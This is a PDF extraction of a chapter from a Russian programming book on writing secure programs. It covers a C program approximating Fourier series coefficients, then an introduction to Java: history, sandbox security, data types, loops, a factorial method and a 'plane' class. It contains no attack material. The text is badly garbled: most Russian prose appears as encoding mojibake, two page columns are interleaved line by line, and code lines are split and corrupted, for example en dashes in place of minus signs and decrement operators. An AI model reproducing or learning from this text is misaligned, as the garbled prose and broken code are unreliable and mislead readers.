37 ctoo = getsee( ); 83
38 84 for ( i=rightorleft ; i <= end ; i+=width )
39 for ( i=1 ; i<=numterms ; i++ ){ /* Ïå÷àòàåì òàáëèöó ðåçóëüòàòîâ */ 85 total += width * g( i );
40 printf( "%s%d%s" , "a", i, " is: " ); 86 total *= 2/T;
41 printf( "%lf", a[ i ] ); 87 return total;
42 printf( "%s%d%s" , " b" , i , " is: " ); 88 }
43 printf( "%lf\n" , b[ i ] ); 89
44 } 90 double g( double t ){
45 91 return sqrt( 1 / ( 1 + t ) );
46 printf( "\n%s%lf\n" , "c is " , c );
92 }
47 printf( "%s%lf\n\n" , "ctoo is " , ctoo );
48
49 } Íåò íóæäû íåïîñðåäñòâåííî âåñòè âû÷èñëåíèÿ ïî ôîðìóëàì èç êóðñà ìà-
50 òåìàòè÷åñêîãî àíàëèçà.  äàííîì ïðèìåðå äëÿ ïðèáëèæåííîãî âû÷èñëåíèÿ
51 double geta( double n ){ ïëîùàäè ïîä êðèâîé ïðèìåíÿåòñÿ àïïðîêñèìàöèÿ ýòîé îáëàñòè ïðÿìîóãîëü-
52 double i, total=0;
íèêàìè. Ïðè ýòîì îöåíêà ïîëó÷èòñÿ áîëüøå èëè ìåíüøå èñòèííîãî çíà÷å-
53 double end;
54 íèÿ. Åñëè âû÷èñëÿòü ôóíêöèþ g(t), ïîëüçóÿñü ëåâîé ãðàíèöåé ïðÿìîóãîëüíè-
55 if ( rightorleft==0 ) end = T – width; /* Íóæíî äëÿ òîãî, ÷òîáû íå êà, òî îöåíêà îêàæåòñÿ çàâûøåííîé, òàê êàê êàæäûé ïðÿìîóãîëüíèê áóäåò
ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */ âûñòóïàòü çà ïðåäåëû îáëàñòè, îãðàíè÷åííîé êðèâîé. Íàïðîòèâ, åñëè ïîëüçî-
56 else end = T; âàòüñÿ ïðàâîé ãðàíèöåé, òî ïîëó÷èì çàíèæåííóþ îöåíêó.
57
Ïîïûòàéòåñü ïðîñëåäèòü, êàê âûïîëíÿåòñÿ ïðîãðàììà. Â ôóíêöèè main
58 for ( i=rightorleft ; i <= end ; i+=width )
59 total += width * ( g( i ) * sin( 6.28 * n * f * i ) ); èíèöèàëèçèðóþòñÿ ïåðåìåííûå, âûçûâàþòñÿ ôóíêöèè äëÿ âûïîëíåíèÿ ðàç-
60 total *= 2/T; ëè÷íûõ ïîäçàäà÷, âîçíèêàþùèõ ïðè ðàçëîæåíèè â ðÿä Ôóðüå, è ïå÷àòàþòñÿ
61 return total; ðåçóëüòàòû. Ìû äîáàâèëè êîììåíòàðèè, ÷òîáû ëåã÷å áûëî ïîíÿòü ïðîãðàì-
62 } ìó. Â ñòðîêàõ 1 è 2 èìïîðòèðóþòñÿ áèáëèîòåêè ñòàíäàðòíîãî ââîäà/âûâîäà è
63
64 double getb( double n ){
ìàòåìàòè÷åñêèõ ôóíêöèé.  ñòðîêàõ ñ 3 ïî 7 îáúÿâëÿþòñÿ èñïîëüçóåìûå
65 double i, total=0; â ïðîãðàììå ôóíêöèè. Â ñòðîêàõ 8–14 îáúÿâëåíû ãëîáàëüíûå ïåðåìåííûå.
66 double end; Îñòàâøàÿñÿ ÷àñòü ïðîãðàììà ïîñâÿùåíà âû÷èñëåíèþ ÷ëåíîâ ðÿäà Ôóðüå. Ïå-
67 ðåìåííàÿ numterms îïðåäåëÿåò, ñêîëüêî ÷ëåíîâ âû÷èñëÿòü, òî åñòü òî÷íîñòü
68 if ( rightorleft==0 ) end = T – width; /* Íóæíî äëÿ òîãî, ÷òîáû íå
àïïðîêñèìàöèè. ×åì áîëüøå ÷èñëî ÷ëåíîâ, òåì áîëüøå èñïîëüçóåòñÿ ïðÿìî-
ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */
69 else end = T; óãîëüíèêîâ è, ñîîòâåòñòâåííî, áîëåå òî÷íî àïïðîêñèìèðóåòñÿ èñõîäíàÿ êðè-
70 âàÿ.  ñòðîêàõ 20–28 ãåíåðèðóþòñÿ ìàññèâû, ñîäåðæàùèå çíà÷åíèÿ êîýôôè-
71 for ( i=rightorleft ; i <= end ; i+=width ) öèåíòîâ a è b äëÿ êàæäîãî ÷ëåíà ðÿäà.  ñòðîêàõ 40–72 âû÷èñëÿþòñÿ ïëîùàäè
48 Глава 1. Написание безопасных программ Язык Java 49

ïðÿìîóãîëüíèêîâ. Âçãëÿíóâ íà ôîðìóëû äëÿ êîýôôèöèåíòîâ ðÿäà Ôóðüå, ëåã- Характеристики языка
êî ïîíÿòü, ÷òî ïðîãðàììà âû÷èñëÿåò èõ îöåíêè äëÿ ïîñëåäóþùåãî ïîëó÷å-
íèÿ çíà÷åíèÿ ôóíêöèè g(t).  êà÷åñòâå óïðàæíåíèÿ ïîäóìàéòå, êàê ýòè îöåí- Java – ýòî ñîâðåìåííûé ïëàòôîðìåííî-íåçàâèñèìûé îáúåêòíî-îðèåíòèðî-
êè ìîæíî ïðèìåíèòü ê ïåðåäà÷å äàííûõ ïî êàíàëàì ñ îãðàíè÷åííîé ïðî- âàííûé ÿçûê ïðîãðàììèðîâàíèÿ. Íîâåéøèå âîçìîæíîñòè ñî÷åòàþòñÿ â íåì
ïóñêíîé ñïîñîáíîñòüþ. ñ ñèíòàêñèñîì, ïîõîæèì íà C/C++, ïîýòîìó îïûòíûì ïðîãðàììèñòàì íå-
òðóäíî âûó÷èòü ýòîò íîâûé ÿçûê.

Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè
Язык Java Java – îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ, ÷òî îçíà÷àåò
Java – ýòî ñîâðåìåííûé îáúåêòíî-îðèåíòèðîâàííûé ÿçûê. Åãî ñèíòàêñèñ, ñõî- íàëè÷èå ñëåäóþùèõ äîñòîèíñòâ:
æèé ñ ïðèíÿòûì â ÿçûêàõ C è C++, ñî÷åòàåòñÿ ñ íåçàâèñèìîñòüþ îò ïëàòôîðìû  Èíêàïñóëÿöèÿ
Èíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
è àâòîìàòè÷åñêîé ñáîðêîé «ìóñîðà». ßçûê áûë ðàçðàáîòàí â 1990-õ ãîäàõ, íî è âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
â íàñòîÿùåå âðåìÿ åñòü öåëûé ðÿä ïðîäóêòîâ îñíîâàííûõ íà íåì: Java-àïëå- ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè
òû, òåõíîëîãèÿ Enterprise JavaBeans, ñåðâëåòû, Jini è ìíîãèå äðóãèå. Âñå îñ- èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà;
íîâíûå Web-áðàóçåðû ïîääåðæèâàþò ÿçûê Java, äåëàÿ åãî ïðåèìóùåñòâà  Íàñëåäîâàíèå
Íàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ-
äîñòóïíûìè äëÿ ìèëëèîíîâ ïîëüçîâàòåëåé Èíòåðíåò. öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè
ßçûê Java ñîçäàë â 1991 ãîäó Äæåéìñ Ãîñëèíã (James Gosl ing) èç êîìïàíèè «íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå-
Sun Microsystems. Ãîñëèíã âõîäèë â êîìàíäó «Green Team», ñîñòîÿùóþ èç ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùóþ-
13 ÷åëîâåê, ïåðåä êîòîðûìè áûëà ïîñòàâëåíà çàäà÷à ñïðîãíîçèðîâàòü è ðàçðà- ñÿ ôóíêöèîíàëüíîñòü;
áîòàòü ñðåäñòâà äëÿ êîìïüþòåðíûõ òåõíîëîãèé ñëåäóþùåãî ïîêîëåíèÿ. Â ðå-  Ñîêðûòèå äàííûõ
äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
çóëüòàòå áûëî ñîçäàíî óñòðîéñòâî ñ ñåíñîðíûì ýêðàííûì è äèñòàíöèîí- æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò ìîæåò ñêðûòü äàííûå, íà-
íûì óïðàâëåíèåì (åãî íàçâàëè *7 èëè StarSeven), çàïðîãðàìèðîâàííîå èñ-
çíà÷èâ èì àòðèáóò «private» (çàêðûòûé);
êëþ÷èòåëüíî íà íîâîì ÿçûêå Java.
 Àáñòðàêòíûå òèïû äàííûõ
äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ, êî-
Õîòÿ óñòðîéñòâî *7 ïîñòèãëà êîììåð÷åñêàÿ íåóäà÷à, êîìïàíèÿ Sun Micro-
òîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct), èìå-
systems óâèäåëà ïîòåíöèàëüíóþ ïëàòôîðìó äëÿ ïðèìåíåíèÿ ïîëîæåííîé þùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì òèï
â åãî îñíîâó òåõíîëîãèè Java – Èíòåðíåò. Â 1993 ãîäó áûë âûïóùåí Web-áðàó- äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî òèïà.
çåð Mosaic, ïðåäîñòàâëÿþùèé ïðîñòîé èíòåðôåéñ äëÿ ïðîñìîòðà Web-ñàéòîâ.
Õîòÿ ïî ñåòè Èíòåðíåò ìîæíî áûëî ïåðåäàâàòü ìóëüòèìåäèéíûå ôàéëû, Ïëàòôîðìåííàÿ íåçàâèñèìîñòü
áðàóçåðû ñîñðåäîòî÷èëèñü íà ïðåäñòàâëåíèè âèçóàëüíîãî êîíòåíòà ñ ïîìî-
×àñòî ãîâîðÿò, ÷òî Java-ïðîãðàììû íå çàâèñÿò îò ïëàòôîðìû, òàê êàê Java –
ùüþ ñòàòè÷åñêèõ ôàéëîâ íà ÿçûêå ðàçìåòêè ãèïåðòåêñòà (HTML).  1994 ãîäó èíòåðïðåòèðóåìûé, à íå êîìïèëèðóåìûé ÿçûê. Èíûìè ñëîâàìè, êîìïèëÿòîð
êîìïàíèÿ Sun Microsystems âûïóñòèëà íîâûé áðàóçåð HotJava, ñïîñîáíûé ãåíåðèðóåò «áàéò-êîä», à íå ìàøèííûé êîä, êàê â ñëó÷àå ñ ÿçûêîì C èëè C++.
îòîáðàæàòü äèíàìè÷åñêèé, àíèìèðîâàííûé êîíòåíò. Ýòîò áàéò-êîä ìîæíî çàòåì èíòåðïðåòèðîâàòü íà ñàìûõ ðàçíûõ ïëàòôîðìàõ.
×òîáû äîáèòüñÿ êàê ìîæíî áîëåå øèðîêîãî ðàñïðîñòðàíåíèÿ ñâîèõ Ñëåäóåò, îäíàêî, îòìåòèòü, ÷òî ñêîðîñòü âûïîëíåíèÿ èíòåðïðåòèðóåìîãî
òåõíîëîãèé, Sun Microsystems â 1995 ãîäó îòêðûëà èñõîäíûå òåêñòû Java. Êî êîäà ìíîãîêðàòíî íèæå ñêîðîñòè âûïîëíåíèÿ êîäà, îòòðàíñëèðîâàííîãî
âñåìó ïðî÷åìó, ïðèñòàëüíîå âíèìàíèå ê èñõîäíîìó êîäó ñî ñòîðîíû ñî- â ìàøèííûå êîìàíäû.
îáùåñòâà ðàçðàáîò÷èêîâ ïîìîãëî èñïðàâèòü îñòàâøèåñÿ â íåì îøèáêè. Íà
âûñòàâêå Sun World â 1995 ãîäó ðóêîâîäèòåëè Sun Microsystems è îäèí èç Ìíîãîïîòî÷íîñòü
îñíîâàòåëåé êîìïàíèè Netscape Ìàðê Àíäðååñåí (Marc Andreesen) îáúÿâè- Java ïîääåðæèâàåò ìíîãîïîòî÷íîñòü, òî åñòü ïðîãðàììà ìîæåò îäíîâðåìåí-
ëè, ÷òî òåõíîëîãèÿ Java áóäåò âêëþ÷åíà â áðàóçåð Netscape Navigator. Òàê íî âûïîëíÿòü íåñêîëüêî çàäàíèé. Òàêóþ ôóíêöèîíàëüíîñòü îáåñïå÷èâàåò
Java âîøëà â íàø ìèð. êëàññ Thread, âõîäÿùèé â ñîñòàâ ïàêåòà java.lang.
50 Глава 1. Написание безопасных программ Язык Java 51

Áåçîïàñíîñòü ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå


Õîòÿ «áåçîïàñíûé ÿçûê ïðîãðàììèðîâàíèÿ» åùå íå ïðèäóìàí, â Java èìåþò- ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå Java.
ñÿ ñðåäñòâà, îòñóòñòâóþùèå â áîëåå ñòàðûõ ÿçûêàõ C è C++. Ñàìîå ãëàâíîå –
ýòî òî, ÷òî â Java ðåàëèçîâàí õèòðîóìíûé ìåõàíèçì óïðàâëåíèÿ ïàìÿòüþ è Пример 1.10. Здравствуй, мир!
class helloWorld{
êîíòðîëü âûõîäà çà ãðàíèöû ìàññèâîâ. Ïðîâåñòè àòàêó ïóòåì ïåðåïîëíåíèÿ public static void main( String [] Args ) {
áóôåðà íà ïðîãðàììó, íàïèñàííóþ íà Java, íåâîçìîæíî, òàê ÷òî óñòðàíåíà System.out.println( "Hello, world!" );
îäíà èç ñàìûõ ðàñïðîñòðàíåííûõ óãðîç. Êðîìå òîãî, Java çàùèùàåò è îò áîëåå }
}
òîíêèõ àòàê, íàïðèìåð, ïóòåì ïðåîáðàçîâàíèÿ öåëûõ ÷èñåë â óêàçàòåëè äëÿ
ïîëó÷åíèÿ íåñàíêöèîíèðîâàííîãî äîñòóïà ê çàêðûòûì ÷àñòÿì ïðîãðàììû Êëàññ helloWorld ñîäåðæèò åäèíñòâåííûé ìåòîä main, êîòîðûé ïî óìîë÷à-
èëè îïåðàöèîííîé ñèñòåìû. íèþ ïðèíèìàåò ìàññèâ àðãóìåíòîâ òèïà String. Ýòîò ìåòîä îòêðûòûé (public),
 Java òàêæå íàøëà ïðèìåíåíèÿ èäåÿ «ïåñî÷íèöû» , êîòîðàÿ íàëàãàåò îã- òî åñòü ê íåìó åñòü äîñòóï èçâíå êëàññà helloWorld. Îí íå âîçâðàùàåò çíà÷å-
ðàíè÷åíèÿ íà äåéñòâèÿ, êîòîðûå ìîæåò âûïîëíÿòü ðàáîòàþùàÿ âíóòðè íåå íèÿ, î ÷åì ãîâîðèò êëþ÷åâîå ñëîâî void. Ìåòîä println ÿâëÿåòñÿ ÷ëåíîì êëàññà
ïðîãðàììà. Ïàìÿòü è äðóãèå ðåñóðñû, íàõîäÿùèåñÿ âíå «ïåñî÷íèöû», çà- System.out. Îí ïå÷àòàåò ñòðîêó «Hello, world!» íà ñòàíäàðòíûé âûâîä. (Î òèïàõ
ùèùåíû îò ïîòåíöèàëüíî âðåäîíîñíîãî Java-êîäà. Ìîäåëü ïåñî÷íèöû ðå- äàííûõ è ìåòîäàõ ìû åùå ñêàæåì íèæå â ýòîé ãëàâå.)
àëèçîâàíà ñ ïîìîùüþ äâóõ îñíîâíûõ ìåòîäîâ: ïðîâåðêè áàéò-êîäîâ è âåðè-
ôèêàöèè âî âðåìÿ âûïîëíåíèÿ. Âåðèôèêàöèÿ áàéò-êîäà ïðîèñõîäèò íà ýòà-
ïå çàãðóçêè êëàññà, â ðåçóëüòàòå ãàðàíòèðóåòñÿ îòñóòñòâèå îïðåäåëåííûõ Типы данных
îøèáîê. Íàïðèìåð, íà ýòîì óðîâíå ïðîèçâîäèòñÿ êîíòðîëü òèïîâ è ïðåäîò- Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí-
âðàùàþòñÿ íåçàêîííûå îïåðàöèè, ñêàæåì, îòïðàâêà ñîîáùåíèÿ ïðèìèòèâ- íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà
íîìó òèïó. â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Ãîâîðÿò, ÷òî ïåðåìåííàÿ ÿâ-
ëÿåòñÿ ýêçåìïëÿðîì íåêîòîðîãî òèïà äàííûõ.
Äîïîëíèòåëüíûå âîçìîæíîñòè Â ÿçûêå Java åñòü äâå ðàçíîâèäíîñòè òèïîâ äàííûõ: ïðèìèòèâíûå è ññû-
ëî÷íûå. Ê ïðèìèòèâíûì îòíîñÿòñÿ ñëåäóþùèå òèïû:
 ÿçûêå Java åñòü ìíîãî ðàçâèòûõ ñðåäñòâ, íå âõîäÿùèõ íè â îäíó èç âûøå-
óïîìÿíóòûõ êàòåãîðèé. Òàê, Java ïîääåðæèâàåò «äèíàìè÷åñêóþ çàãðóçêó»  Byte
Byte. Òèïîì byte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî, çàíèìàþùåå 1 áàéò ïàìÿòè;
êëàññîâ. Ôóíêöèîíàëüíîñòü (â âèäå êëàññà) çàãðóæàåòñÿ òîëüêî êîãäà â íåé  Short
Short. Òèï short ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ
âîçíèêàåò ïîòðåáíîñòü, ÷òî ýêîíîìèò ñåòåâûå ðåñóðñû, óìåíüøàåò ðàçìåð 2 áàéòà ïàìÿòè;
ïðîãðàììû è óâåëè÷èâàåò åå áûñòðîäåéñòâèå. Äèíàìè÷åñêàÿ çàãðóçêà ðåàëè-  Int
Int. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ 4 áàé-
çîâàíà è â òàêèõ ÿçûêàõ êàê Lisp (à â êîíöå 1980-õ ãîäîâ îíà áûëà äîáàâëåíà è òà ïàìÿòè;
â C), íî Java îñîáåííî õîðîøî ïðèñïîñîáëåí äëÿ çàãðóçêè íåîáõîäèìûõ  Long
Long. Òèï long ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ
êëàññîâ èç ñåòè. Çà òàêóþ çàãðóçêó îòâå÷àåò êëàññ ClassLoader. 8 áàéòîâ ïàìÿòè;
Êàê è Lisp, ML è ìíîãèå äðóãèå ÿçûêè, Java ïîääåðæèâàåò àâòîìàòè÷åñêóþ  Float
Float. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé, ïîä êîòî-
«ñáîðêó ìóñîðà». Ïðîãðàììèñòó íåò íóæäû ÿâíî îñâîáîæäàòü íåèñïîëüçóå- ðûå îòâîäèòñÿ 4 áàéòà;
ìóþ áîëåå ïàìÿòü. Òåì ñàìûì ïðåäîòâðàùàþòñÿ óòå÷êè ïàìÿòè è, íàîáîðîò,  Double
Double. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-
ñëó÷àéíîå îñâîáîæäåíèå åùå èñïîëüçóåìîé ïàìÿòè. êîé äâîéíîé òî÷íîñòè. Äëÿ íèõ îòâîäèòñÿ 8 áàéòîâ;
 Char
Char. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â ÿçûêå Java ñèìâîë
õðàíèòñÿ â êîäèðîâêå Unicode è çàíèìàåò 16 áèòîâ;
Пример «Здравствуй, мир!»  Boolean
Boolean. Òèïîì boolean ìîæíî ïðåäñòàâèòü îäíî èç äâóõ çíà÷åíèé:
Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê true èëè false.
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî-  ïëàòôîðìåííî-çàâèñèìûõ ÿçûêàõ, ê êîòîðûì îòíîñèòñÿ, â ÷àñòíîñòè, C,
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ çà÷àñòóþ íå îïðåäåëåí òî÷íûé îáúåì ïàìÿòè, îòâîäèìîé ïîä õðàíåíèå äàí-
52 Глава 1. Написание безопасных программ Язык Java 53

íûõ ðàçíûõ òèïîâ. Íàïðîòèâ, â Java ðàçìåð è ôîðìàò âñåõ òèïîâ äàííûõ ñïå- Ñðåäè âñåõ öèêëîâ for èñïîëüçóåòñÿ ÷àùå âñåãî.  íà÷àëå âûïîëíåíèÿ öèêëà
öèôèöèðîâàíû â ñàìîì ÿçûêå. Ïðîãðàììèñòàì íå íàäî äóìàòü î ñèñòåìíûõ ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì
îñîáåííîñòÿõ. óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå-
 Java èìåþòñÿ òàêæå ññûëî÷íûå òèïû. Ïåðåìåííûå òàêîãî òèïà íå ñîäåð- íèé»).  êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ òðåòüåé â çàãîëîâêå,
æàò çíà÷åíèÿ, à óêàçûâàþò íà êàêîé-òî àäðåñ â ïàìÿòè. Ìàññèâû, îáúåêòû è ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà óñëîâèå íå
èíòåðôåéñû – âñå ýòî äàííûå ññûëî÷íûõ òèïîâ. Íà ðèñ 1.2 ïðèâåäåíà êëàñ- ñòàíåò ëîæíûì.
ñèôèêàöèÿ òèïîâ â ÿçûêå Java. Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî-
object ñòîé öèêë:

for( i = 0 ; i < 5 ; i++ ){


Ссылочные array [áëîê ïðåäëîæåíèé];
типы }

string Пример 1.12. Цикл «while»


Предопре) while( óñëîâèå ){
деленные [áëîê ïðåäëîæåíèé];
}
типы
bool
double Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.
Типы
Примитив) Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ.
с плавающей
ные типы Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì.
точкой
float
Число) Пример 1.13. Цикл «do...while»
вые типы byte do{
char [áëîê ïðåäëîæåíèé];
Целочислен) int } while( óñëîâèå );
ные типы long
short  öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ ïîñ-
ëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëîæåíèé
Рис. 1.2. Классификация типов данных в языке Java âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà. Öèêë
do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé áóäåò âû-
ïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for è while.
Поток управления Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
 ÿçûêå Java äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿþòñÿ ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû.
öèêëû.  ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâòîðèòü
ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò âûïîëíå- Пример 1.14. Эквивалентность циклов – выполнение пяти итераций
íî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøåíèÿ ïîäîá- Öèêë for
for( i = 0 ; i < 5 ; i++ ){
íîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è do...while. áëîê_ïðåäëîæåíèé;
}
Пример 1.11. Цикл «for»
for( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){ Öèêë while
[áëîê ïðåäëîæåíèé]; int i = 0;
} while( i < 5 ){
54 Глава 1. Написание безопасных программ Язык Java 55
áëîê_ïðåäëîæåíèé; ìè õàðàêòåðèñòèêàìè. Êëàññ ãðóïïèðóåò äàííûå è ìåòîäû íåêîòîðûõ òèïîâ.
i++;
} Êëàññ ìîæåò ñîäåðæàòü êîíñòðóêòîðû, êîòîðûå îïðåäåëÿþò, êàê ñîçäàåòñÿ
ýêçåìïëÿð êëàññà èëè îáúåêò.  êëàññ âêëþ÷àþòñÿ ìåòîäû, âûïîëíÿþùèå
Öèêë do...while îïåðàöèè íàä ýêçåìïëÿðàìè ýòîãî êëàññà.
int i = 0; Ïðåäïîëîæèì, ê ïðèìåðó, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì
do {
áëîê_ïðåäëîæåíèé;
ïîëåòîâ äëÿ êîìïàíèè, ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû
i++; ïîìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè
} while( i < 5 ) îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò.
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà
 êàæäîì èç ýòèõ ïðèìåðîâ áëîê ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç. Êîí- è ìåòîäû äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå-
ñòðóêöèè ðàçíûå, íî èõ ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì, ÷òî ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá-
âñå âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû. ñòâåííûå äàííûå.
Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó:
Методы  Weight (âåñ);
Ìîæíî ñêàçàòü, ÷òî ìåòîä (â äðóãèõ ÿçûêàõ åãî àíàëîãîì ñëóæèò ôóíêöèÿ) –  Speed (ñêîðîñòü);
ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðîãðàììèñòó íóæíî ïîëó÷èòü íà âõî-  Maneuverabil ity (ìàíåâðåííîñòü);
äå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä íèìè íåêîòîðóþ îïåðàöèþ è âåð-  Position (ïîëîæåíèå).
íóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿòèå ìåòîäà áûëî ïðèäóìàíî êàê Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
ðàç äëÿ òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ìåòîä – ýòî àâòîíîìíàÿ ÷àñòü ïðî- äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
ãðàììû, êîòîðóþ ìîæíî âûçâàòü äëÿ âûïîëíåíèÿ îïåðàöèè íàä äàííûìè. íåñêîëüêî ìåòîäîâ äîñòóïà:
Ìåòîä ïðèíèìàåò íåêîòîðîå ÷èñëî àðãóìåíòîâ è âîçâðàùàåò çíà÷åíèå.
Íèæå ïðèâåäåí ïðèìåð ìåòîäà, êîòîðûé ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è SetWeight( int )
SetSpeed( int )
âîçâðàùàåò åãî ôàêòîðèàë. SetManeuverability( int )
SetPosition( int )
Пример 1.15. Метод Factorial MovePosition( int )
int Factorial( int num ){
for( i = (num – 1) ; i > 0 ; i— ){ Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:
num *= i; /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */
}
return num; Пример 1.16. Класс plane
} 1 public class plane{
2 int Weight;
 ïåðâîé ñòðîêå Factorial – ýòî èìÿ ìåòîäà. Åìó ïðåäøåñòâóåò êëþ÷åâîå 3 int Speed;
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ìåòîä âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü 4 int Maneuverability;
